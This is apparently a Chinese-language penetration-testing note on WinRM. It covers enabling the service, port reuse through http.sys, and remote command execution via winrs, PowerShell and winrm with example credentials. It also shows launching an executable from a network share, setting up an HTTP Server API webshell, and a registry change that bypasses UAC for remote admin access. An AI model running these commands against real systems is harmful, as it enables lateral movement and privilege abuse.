WinRM(Windows Remote Management)远程管理,是一种允许管理员远程执行系统管理任务的服务。基于Powershell,通过HTTP(5985)或HTTPS SOAP(5986)执行通信,默认情况下支持Kerberos和NTLM身份验证以及基本身份验证。
使用此服务需要管理员级别凭据
双方都需要开启winrm(Win7开始支持,Server12后默认开启)
配置
1 | --开启-- |
开启端口复用主要利用IIS自带驱动http.sys
的端口共享功能Port Sharing。所有基于HTTP.sys驱动的HTTP应用可以共享同一个端口,只需要各自注册的url前缀不一样即可
1 | netsh http show servicestate 查看注册的url前缀 |
管理
Winrs
1
2winrs -r:http://192.168.1.152:5985 -u:administrator -p:admin123 "whoami /all" # 执行单条命令
winrs -r:http://192.168.1.152:5985 -u:administrator -p:admin123 cmd # 返回交互式cmdPowershell
1
2
3
4
5
6
7
8
9$ip="192.168.1.116"
#$ip="192.168.1.20"
Set-Item WSMan:\localhost\Client\TrustedHosts -Value $ip -Force
$securePassword = ConvertTo-SecureString -AsPlainText -Force 'pass'
$cred = New-Object System.Management.Automation.PSCredential 'pass', $securePassword
$cmd = {ls C:\users\public}
Invoke-Command -ComputerName $ip -Credential $cred -ScriptBlock $cmd
Enter-PSSession -ComputerName 192.168.100.155 -Credential administrator 返回交互式shellWinrm
1
2winrm -hostname remote.domain.com -username "Administrator" -password "secret" "ipconfig /all"
winrm invoke create wmicimv2/win32_process @{commandline="\\192.168.12.20\c\test.exe"}HTTP Server API
1
2
3
4
5
6netsh http add urlacl url=http://+:80/MyUri user=everyone 添加urlacl 管理员权限
除此之外可以利用已存在的urlacl
netsh http show urlacl
http://+:80/Temporary_Listen_Addresses/ 默认存在
https://github.com/3gstudent/Homework-of-C-Language/blob/master/HTTPServerWebshell.cpp
test.exe http://xx:80/url
BypassUAC
通过修改注册表使得除了administrator
之外的本地管理用户能够直接绕过UAC通过Winrm进行高权限管理
1 | reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f |